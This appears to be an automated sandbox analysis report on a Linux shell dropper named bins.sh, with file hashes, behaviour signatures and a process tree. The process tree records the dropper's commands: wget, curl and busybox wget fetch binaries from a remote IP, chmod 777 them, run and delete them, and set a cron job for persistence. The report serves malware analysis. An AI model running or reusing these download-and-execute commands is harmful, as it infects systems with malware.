Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 10:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    dbbbfb2de892410f6016324f5c72c881

  • SHA1

    24f8818e5bf61c88bd7c47818ce2ab9a3de68f94

  • SHA256

    0de635c2e545ff9866cce84becebf513f8c7b2276e78fb2eda6f39f1d7149e49

  • SHA512

    a1ae894484d24a377e5ad84885c8758aaced9b067f64e0591f4892716e4bd844605aed37cf7e8f67c94b89889cc18e66e63439ea7095334710c9886efa901016

  • SSDEEP

    192:GcUjeSO0HQTDiswV1VZcIigJS25QQQcPTYJS25QQVPTYXwJHITDiswVbcUjeSJj:1NTDiJV1VqbgycPTY3PTYA+TDiJVb

Malware Config

Signatures

  • Contacts a large (2163) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1483
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1484
        • /usr/bin/wget
          wget http://87.120.84.230/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:1485
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Writes file to tmp directory
          PID:1498
        • /bin/chmod
          chmod 777 XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • File and Directory Permissions Modification
          PID:1499
        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          ./XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Executes dropped EXE
          PID:1500
        • /bin/rm
          rm XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
            PID:1502
          • /usr/bin/wget
            wget http://87.120.84.230/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:1503
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:1504
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Writes file to tmp directory
            PID:1505
          • /bin/chmod
            chmod 777 I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • File and Directory Permissions Modification
            PID:1506
          • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            ./I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
            • Executes dropped EXE
            PID:1507
          • /bin/rm
            rm I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
            2⤵
              PID:1509
            • /usr/bin/wget
              wget http://87.120.84.230/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:1510
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:1511
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Writes file to tmp directory
              PID:1512
            • /bin/chmod
              chmod 777 pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • File and Directory Permissions Modification
              PID:1513
            • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              ./pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
              • Executes dropped EXE
              PID:1514
            • /bin/rm
              rm pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
              2⤵
                PID:1516
              • /usr/bin/wget
                wget http://87.120.84.230/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:1517
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:1518
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /bin/chmod
                chmod 777 uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • File and Directory Permissions Modification
                PID:1520
              • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                ./uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1521
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1523
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1524
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1525
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1526
                    • /bin/rm
                      rm uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                      2⤵
                        PID:1528
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                        2⤵
                          PID:1531

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72

                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                      • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /var/spool/cron/crontabs/tmp.kbyQXa

                        Filesize

                        210B

                        MD5

                        5b2cdd5970c146eedb6f9c76129eb995

                        SHA1

                        87731ce05a4bf59cbceed69bc8256308228f4128

                        SHA256

                        c22f610107b3adb66c4d22ae944c19b5083105edf4fe835f946264545205f3fa

                        SHA512

                        9697d38d962fe76a4963e82b76f90f6707df23dd2df2df1572100b58befc8ae9dfc680642004c3991e3babb36f8ad574d2d4bee04f635fcb936f79773be2a4fd